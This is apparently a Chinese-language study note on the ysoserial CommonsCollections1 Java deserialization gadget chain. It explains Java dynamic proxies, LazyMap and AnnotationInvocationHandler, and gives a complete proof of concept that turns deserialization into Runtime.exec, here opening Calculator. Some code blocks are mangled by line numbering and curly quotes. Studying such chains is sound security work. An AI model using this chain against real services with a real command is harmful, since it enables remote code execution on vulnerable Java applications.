CommonsCollections1

这条是ysoserial中的CC1利用链。在ysoserial中没有用到TransformedMap,而是改用了LazyMap,并且使用到了Java对象代理。

  • 这条链在Java 8u71以后就不能利用了,这里使用的环境是JDK8u66

image.png

  • 取消勾选此处两个Enable

    IDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行

image.png

Java对象代理

Java对象代理,可以通过代理来操作一个真正的实例对象,通过代理模式来重写那些需要增强的原对象的方法

如果想劫持一个对象内部的方法调用,需要用到java.reflect.Proxy#newProxyInstance

  • 第一个参数是ClassLoader,默认即可;
  • 第二个参数是我们需要代理的对象集合;
  • 第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑 ```java Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler );
  1. 创建一个代理类
  2. ```java
  3. import java.lang.reflect.InvocationHandler;
  4. import java.lang.reflect.Method;
  5. import java.util.Map;
  6. public class ExampleInvocationHandler implements InvocationHandler {
  7. protected Map map;
  8. public ExampleInvocationHandler(Map map) {
  9. this.map = map;
  10. }
  11. @Override
  12. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
  13. System.out.println("Hook Method: " + method.getName());
  14. if (method.getName().compareTo("get") == 0) {
  15. return "Hacked Object";
  16. }
  17. return method.invoke(this.map, args);
  18. }
  19. }

实现,创建一个App.java

  1. import java.lang.reflect.InvocationHandler;
  2. import java.lang.reflect.Proxy;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class App {
  6. public static void main(String[] args) throws Exception {
  7. InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
  8. // 实例化代理类
  9. Map proxyMap = (Map) Proxy.newProxyInstance(
  10. Map.class.getClassLoader(),
  11. new Class[] {Map.class},
  12. handler
  13. );
  14. proxyMap.put("hello", "world");
  15. // 当方法为get时触发代理类中的函数
  16. String res = (String) proxyMap.get("hello");
  17. System.out.println(res);
  18. }
  19. }
  20. /* 输出结果
  21. Hook Method: put
  22. Hook Method: get
  23. Hacked Object
  24. */

这里可以看到

  • 动态代理对象proxyMap调用的方法都会被转发InvocationHandler接口类的invoke()方法进行处理,如这里的put()/get()
  • 另外调用get()时触发函数,劫持返回内容,输出了Hacked而不是world

image.png

LazyMap

之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题。其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在AnnotationInvocationHandler这个类的修改上

LazyMap的漏洞触发点和TransformedMap唯一的差别是:

  • TransformedMap是在写入元素的时候执行transform
  • 而LazyMap是在其get方法中执行的factory.transform()。LazyMap在get找不到值时,就会调用transform去获取一个值

    构造POC

    LazyMap和TransformedMap都来自Common-Collections库,并继承AbstractMapDecorator。需要现在LazyMap中找到调用transform方法的地方

  • 这里可以复用CommonCollections的前半段POC,TransformedMap改为LazyMap,运行一下可以正常弹出计算器 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap; import java.util.Map;

public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[] {“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ),

  1. new InvokerTransformer(
  2. "exec",
  3. new Class[]{String.class},
  4. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  5. ),
  6. };
  7. Transformer transformerChain = new ChainedTransformer(transformers);
  8. Map innerMap = new HashMap();
  9. // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  10. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  11. outerMap.get("test");
  12. }

}

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649665202283-e2f52cb4-3064-43ec-be0e-2b20fb1a9cb5.png#clientId=uba2b028a-e33a-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=348&id=vAGFb&margin=%5Bobject%20Object%5D&name=image.png&originHeight=695&originWidth=1191&originalType=binary&ratio=1&rotation=0&showTitle=false&size=173314&status=done&style=none&taskId=u199feeef-76a8-4750-a24a-cb5746becc0&title=&width=595.5)
  2. <a name="gF4IT"></a>
  3. ### 寻找漏洞触发点
  4. - 跟入`LazyMap.decorate`方法,此处调用`LazyMap`的构造函数,传入的`Transformer`赋值给`factory`变量
  5. ```java
  6. public static Map decorate(Map map, Transformer factory) {
  7. return new LazyMap(map, factory);
  8. }
  9. protected LazyMap(Map map, Factory factory) {
  10. super(map);
  11. if (factory == null) {
  12. throw new IllegalArgumentException("Factory must not be null");
  13. } else {
  14. this.factory = FactoryTransformer.getInstance(factory);
  15. }
  16. }
  17. protected LazyMap(Map map, Transformer factory) {
  18. super(map);
  19. if (factory == null) {
  20. throw new IllegalArgumentException("Factory must not be null");
  21. } else {
  22. this.factory = factory;
  23. }
  24. }
  • 在下面的get()方法中触发了transform(),但前提条件是LazyMap在get找不到值,即Key不在Map中,才会进入if循环,调用transform去获取一个Value并放入Map中

    1. public Object get(Object key) {
    2. if (!super.map.containsKey(key)) {
    3. Object value = this.factory.transform(key);
    4. super.map.put(key, value);
    5. return value;
    6. } else {
    7. return super.map.get(key);
    8. }
    9. }

    image.png

  • AnnotationInvocationHandlerreadObject方法中没有直接调用到Map的get(),而是在invoke()方法中进行了调用 ```java public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals(“equals”) && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError(“Too many parameters for an annotation method”); } else { byte var7 = -1; switch(var4.hashCode()) {

    1. case -1776922004:
    2. if (var4.equals("toString")) {
    3. var7 = 0;
    4. }
    5. break;
    6. case 147696667:
    7. if (var4.equals("hashCode")) {
    8. var7 = 1;
    9. }
    10. break;
    11. case 1444986633:
    12. if (var4.equals("annotationType")) {
    13. var7 = 2;
    14. }

    }

    switch(var7) {

    1. case 0:
    2. return this.toStringImpl();
    3. case 1:
    4. return this.hashCodeImpl();
    5. case 2:
    6. return this.type;
    7. default:
    8. Object var6 = this.memberValues.get(var4);
    9. if (var6 == null) {
    10. throw new IncompleteAnnotationException(this.type, var4);
    11. } else if (var6 instanceof ExceptionProxy) {
    12. throw ((ExceptionProxy)var6).generateException();
    13. } else {
    14. if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
    15. var6 = this.cloneArray(var6);
    16. }
    17. return var6;
    18. }

    } } }

  1. 整理一下,这里大致利用路径为:
  2. - `AnnotationInvocationHandler.readObject()`
  3. - `AnnotationInvocationHandler.invoke()`
  4. - `LazyMap.get()`
  5. - `ChainedTransformer.transform()`
  6. - 剩余的几条`Transformer`
  7. ```java
  8. /*
  9. Gadget chain:
  10. ObjectInputStream.readObject()
  11. AnnotationInvocationHandler.readObject()
  12. Map(Proxy).entrySet()
  13. AnnotationInvocationHandler.invoke()
  14. LazyMap.get()
  15. ChainedTransformer.transform()
  16. ConstantTransformer.transform()
  17. InvokerTransformer.transform()
  18. Method.invoke()
  19. Class.getMethod()
  20. InvokerTransformer.transform()
  21. Method.invoke()
  22. Runtime.getRuntime()
  23. InvokerTransformer.transform()
  24. Method.invoke()
  25. Runtime.exec()
  26. Requires:
  27. commons-collections
  28. */

那么如何调用invoke呢,此时就需要用到了Java的对象代理

回看sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类就是一个InvocationHandler。如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

修改POC

前面的POC跟上一篇的Demo一样,都是手动触发漏洞。这里需要构造为readObject触发利用链

  • 先注释触发漏洞的get()方法,然后实现AnnotationInvocationHandlerProxy代理类 ```java // outerMap.get(“test”);

// 获取AnnotationInvocationHandler的构造函数 Class clazz = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);

// 利用构造函数实例化,创建与outerMap关联的InvocationHandler InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);

// 实例化代理对象,proxyMap调用的方法都会被转发InvocationHandler#invoke方法 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler );

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649667916875-3c6cb3ef-3e0b-4492-8fdc-da3a07e785db.png#clientId=u7e14e1b9-8615-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=351&id=uce502753&margin=%5Bobject%20Object%5D&name=image.png&originHeight=702&originWidth=1560&originalType=binary&ratio=1&rotation=0&showTitle=true&size=237639&status=done&style=none&taskId=u1efc010c-c019-4b0d-9476-c571a671c6d&title=%E5%AF%B9%E6%AF%94%E9%85%8D%E5%9B%BE&width=780 "对比配图")
  2. - 此时直接对`proxyMap`进行序列化是不会执行命令的,因为前面创建的是与`outerMap`关联的`InvocationHandler`(第9行),因此需要再用`AnnotationInvocationHandler`对这个`proxyMap`进行包裹
  3. ```java
  4. handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
  • 后续再构造序列化和反序列的操作,另外前文说了,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,所以这里需要在8u71之前的版本才能成功运行并弹出计算器

完整代码

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import java.io.ByteArrayInputStream;
  7. import java.io.ByteArrayOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.annotation.Retention;
  11. import java.lang.reflect.Constructor;
  12. import java.lang.reflect.InvocationHandler;
  13. import java.lang.reflect.Proxy;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CommonCollections1 {
  17. public static void main(String[] args) throws Exception {
  18. Transformer[] transformers = new Transformer[] {
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer(
  21. "getMethod",
  22. new Class[]{String.class, Class[].class},
  23. new Object[] {"getRuntime", new Class[0]}
  24. ),
  25. new InvokerTransformer(
  26. "invoke",
  27. new Class[] {Object.class, Object[].class},
  28. new Object[] {null, new Object[0]}
  29. ),
  30. new InvokerTransformer(
  31. "exec",
  32. new Class[]{String.class},
  33. new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  34. ),
  35. };
  36. Transformer transformerChain = new ChainedTransformer(transformers);
  37. Map innerMap = new HashMap();
  38. // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  39. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  40. // 获取AnnotationInvocationHandler的构造函数
  41. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  42. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  43. constructor.setAccessible(true);
  44. // 利用构造函数实例化,创建与outerMap关联的InvocationHandler
  45. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
  46. // 实例化代理对象
  47. Map proxyMap = (Map) Proxy.newProxyInstance(
  48. Map.class.getClassLoader(),
  49. new Class[] {Map.class},
  50. handler
  51. );
  52. // 使用InvocationHandler对proxyMap重新包裹
  53. handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
  54. // Serialization
  55. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  56. ObjectOutputStream oos = new ObjectOutputStream(baos);
  57. oos.writeObject(handler);
  58. System.out.println(baos);
  59. // Deserialization
  60. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  61. ObjectInputStream ois = new ObjectInputStream(bais);
  62. Object o = (Object) ois.readObject();
  63. ois.close();
  64. bais.close();
  65. oos.close();
  66. baos.close();
  67. }
  68. }

其它

  • 发现ysoserial中的Transformer数组最后增加了一个ConstantTransformer(1)
    1. final Transformer[] transformers = new Transformer[] {
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer(
    4. "getMethod",
    5. new Class[] {String.class, Class[].class },
    6. new Object[] {"getRuntime", new Class[0] }),
    7. new InvokerTransformer(
    8. "invoke",
    9. new Class[] {Object.class, Object[].class },
    10. new Object[] {null, new Object[0] }),
    11. new InvokerTransformer(
    12. "exec",
    13. new Class[] { String.class },
    14. execArgs
    15. ),
    16. new ConstantTransformer(1)
    17. };
    前面的POC运行后报错如下:
    image.png
    添加ConstantTransformer(1)后报错如下:
    image.png